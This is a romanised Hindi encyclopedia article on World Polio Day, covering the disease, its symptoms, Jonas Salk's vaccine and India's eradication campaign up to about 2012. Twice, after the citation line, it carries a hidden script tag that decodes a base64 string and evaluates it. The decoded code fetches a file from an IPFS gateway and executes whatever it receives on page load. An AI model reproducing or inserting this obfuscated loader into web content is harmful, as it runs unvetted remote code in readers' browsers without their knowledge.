विश्व पोलियो दिवस

	vishv poliyo divas
	vishv poliyo divas\|200px\|center
vivaran	'vishv poliyo divas' pratyek varsh '24 aktoobar' ko manaya jata hai, kyoanki aktoobar mah mean hi jonas s aauk ka janm hua tha, jo varsh 1955 mean poliyo ki pahali vaiksin ka avishkar karane vali tim ke pramukh the.
tithi	24 aktoobar
uddeshy	is divas ka mukhy uddeshy poliyo jaisi bimari ke vishay mean logoan mean jagarookata phailana hai.
vishesh	'vishv svasthy sangathan' ne 2012 ke prarambh mean bharat ko poliyo grasit deshoan ki soochi se hata diya. yadi 2014 tak is bimari ka koee naya mamala samane nahian ata hai to bharat ko adhikarik roop se poliyo mukt ghoshit kar diya jaega.
any janakari	bharat mean poliyo ke ekamatr mamale ki soochana 13 janavari, 2011 ko pashchim bangal ke hav da se prapt huee thi, jabaki 2010 mean isi avadhi ke dauran 39 mamale prakash mean ae the.

vishv poliyo divas pratyek varsh '24 aktoobar' ko manaya jata hai. is divas ko manaye jane ka mukhy uddeshy poliyo jaisi bimari ke vishay mean logoan mean jagarookata phailana hai. poliyo ek sankramak bimari hai, jo poore sharir ko prabhavit karati hai. is bimari ka shikar adhikaanshat: bachche hote haian. poliyo ko 'poliyomailaitis' ya 'shishu aangaghat' bhi kaha jata hai. yah aisi bimari hai, jisase kee rashtr buri tarah se prabhavit ho chuke haian. halaanki vishv ke adhikatar deshoan se poliyo ka khatma poori tarah se ho chuka hai, lekin abhi bhi vishv ke kee deshoan se yah bimari j d se khatm nahian ho payi hai.

poliyo kya hai?

poliyomailaitis athava poliyo ek sankramak rog hai, jo vayaras ke dvara phailata hai. yah lakshan samany se tivr ho sakate haian aur isamean am taur par taangoan mean lakava ho jata hai. poliyo ka vayaras muanh ke raste sharir mean pravishth‍ hota hai aur aantoan ko prabhavit karata hai. vayaray ke sharir mean pravesh karane ke kuchh hi ghantoan bad isase pakshaghat tak ho sakata hai. aisa bhi ho sakata hai ki yah lakshan tin se paanch dinoan mean pradarshit hoan.

lakshan

poliyo ki bimari mean mariz ki sthiti vayaras ki tivrata par nirbhar karati hai. adhikatar sthitiyoan mean poliyo ke lakshan 'phloo' jaisai hi hote haian, lekin isake kuchh samany lakshan is prakar hote haian-

pet mean dard hona
ultiyaan ana
gale mean dard
sir mean tez dard
tez bukhar
khana nigalane mean kathinaee hona
jatil sh‍‍thitiyoan mean hriday ki maans-peshiyoan mean soojan a jati hai.

vaiksin ka avishkar

prati varsh '24 aktoobar' ko 'vishv poliyo divas' ke roop mean manaya jata hai, kyoanki isi mahine mean jonas s aauk ka janm hua tha. jonas s aauk varsh 1955 mean pahali poliyo vaiksin ka avishkar karane vali tim ke pramukh the. poliyo rodhak dava ki kuchh booande bachchoan ko pilaee jati haian. kee deshoan mean poliyo se nijat dilane ke lie yah vaiksin bahut mahattvapoorn sabit huee hai.

bharat mean poliyo ki sthiti

'vishv poliyo divas' ka uddeshy poliyo unmoolan ke lie kie ja rahe prayasoan ke prati logoan ko jagarook banana hai. bharat mean poliyo ka aantim mamala janavari, 2011 mean samane aya tha. 'vishv svasthy sangathan' (dablyooecho) ne varsh 2012 thumb|250px|left|poliyo drap pita bachcha ke prarambh mean bharat ko poliyo grasit deshoan ki soochi se hata diya, aur varsh 2014 tak is bimari ka koee naya mamala samane nahian ata hai to use adhikarik roop se poliyo mukt ghoshit kar diya jaega. duniya bhar mean varsh 2011 mean poliyo ke 467 mamaloan ki tulana mean 24 aktoobar, 2012 tak keval 170 mamale hi prakash mean ae haian.

bharat mean poliyo ke ekamatr mamale ki soochana 13 janavari, 2011 ko pashchim bangal ke hav da se prapt huee thi, jabaki 2010 mean isi avadhi ke dauran 39 mamale prakash mean ae the. uttar pradesh (aprail, 2010 ke bad) aur bihar (sitanbar, 2010 ke bad) se pahali bar poliyo ke kisi bhi mamale ki soochana nahian mili hai. ek varsh se taip-3 poliyo ka koee bhi mamala samane nahian aya hai. poliyo unmoolan ke sarvadhik najadik pahuanch chuke bharat sarakar ke 'svasthy aur parivar kalyan mantralay' ne poliyo ke kisi bhi taja mamale ko 'jan svasthy apat sthiti' ke roop mean ilaj karane ka nirnay liya hai taki bharat mean jald se jald poliyo unmoolan ke lakshy ko prapt kiya ja sake. sabhi uchch jokhim vale kshetroan mean bachchoan ke bhitar pratirodhak ka nirman karane aur poliyo ke kisi bhi mamale ke samane ane par tatkal gahan tikakaran abhiyan chalane ke lie apat tatparata aur pratikriya yojana taiyar ki gee hai.

poliyo mukti hetu yojanaean

[[chitr:Polio kids.jpeg|thumb|250px|poliyo se grasit bachche]] 'svasthy aur parivar kalyan mantralay' ne ek apat tatparata aur pratikriya yojana (eepiarapi) taiyar ki hai. bharat mean sabhi rajy apani eepiarapi taiyar kar rahe haian. is yojana ke hisse ke roop mean tvarit pratikriya dal ka gathan pahale hi kiya ja chuka hai aur niyamit tikakaran ko aur adhik vistrit karane hetu kadam uthane ke lie uchch jokhim vale ziloan, bl aaukoan, gaanvoan ki pahachan ki ja rahi hai. poliyo ko rokane se sanbandhit upayoan, jaise- saph-saphaee, hath dhone aur jiank tatha oares ke istemal ke zarie dayariya prabandhan ko bhi majaboot kiya ja raha hai. "har bachcha har bar" se lekar "mera bachcha har bar" sandesh ke sath navin poliyo tikakaran abhiyan ko disha di gee hai. sabhi abhibhavakoan ko yah navin abhiyan apane bachche ko poliyo se bachav ke lie protsahit karata hai.

ghoomantoo bachchoan, jaise- pravasi, khanabadosh, nirman sthaloan aur eetoan ke bhattoan mean kam karane vale logoan tatha holi, divali aur chhath jaise tyoharoan par apane bachchoan ke sath apane praant lautane vale logoan ke bachchoan ko poliyo se bachav ke lie vishesh abhiyan chalae ja rahe hai . rashtriy tatha aantarrashtriy visheshajnoan aur sansthaoan dvara bharat ki pragati aur prayasoan ki sarahana ki gee hai. poliyo unmoolan ke lie bharat mean visheshajn salahakar samooh ne julaee mean karyakram ki samiksha ki thi aur is bat ka ullekh kiya tha ki poliyo unmoolan ki disha mean bharat sahi rah par hai. vaishvik poliyo unmoolan ke 'aantarrashtriy nigarani bord' (aeeemabi) ne apani aktoobar ki riport mean kaha hai ki 2011 mean poliyo ke prasar ko rokane mean bharat sahi disha mean karyarat hai.^[1]

poliyo jaisi khataranak bimari ko pun: prakat hone se rokane ke lie har sal bharat sarakar do 'rashtriy pratirakshan divas' ayojit karati hai. har bar qarib 170 miliyan bachchoan ko pratirakshan diya jata hai. svasthy karyakarta bhi ghar-ghar jakar pata lagate haian ki kya bachchoan ko khurak di ja chuki hai. poliyo ke prati jagarukata phailana bhi kafi mahatvapoorn hai aur yah vah abhiyan hai, jise jane-mane logoan dvara sakriyatapoorvak pracharit kiya gaya hai, in logoan mean b aaulivud abhineta amitabh bachchan bhi shamil haian, jinaka kathan 'do booand jindagi ki' kafi prasiddhi pa chuka hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ bharat mean poliyo mukti ka ab tak ka sarvadhik dirghakalik daur (hindi). . abhigaman tithi: 10 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] rat mean poliyo mukti ka ab tak ka sarvadhik dirghakalik daur (hindi). . abhigaman tithi: 10 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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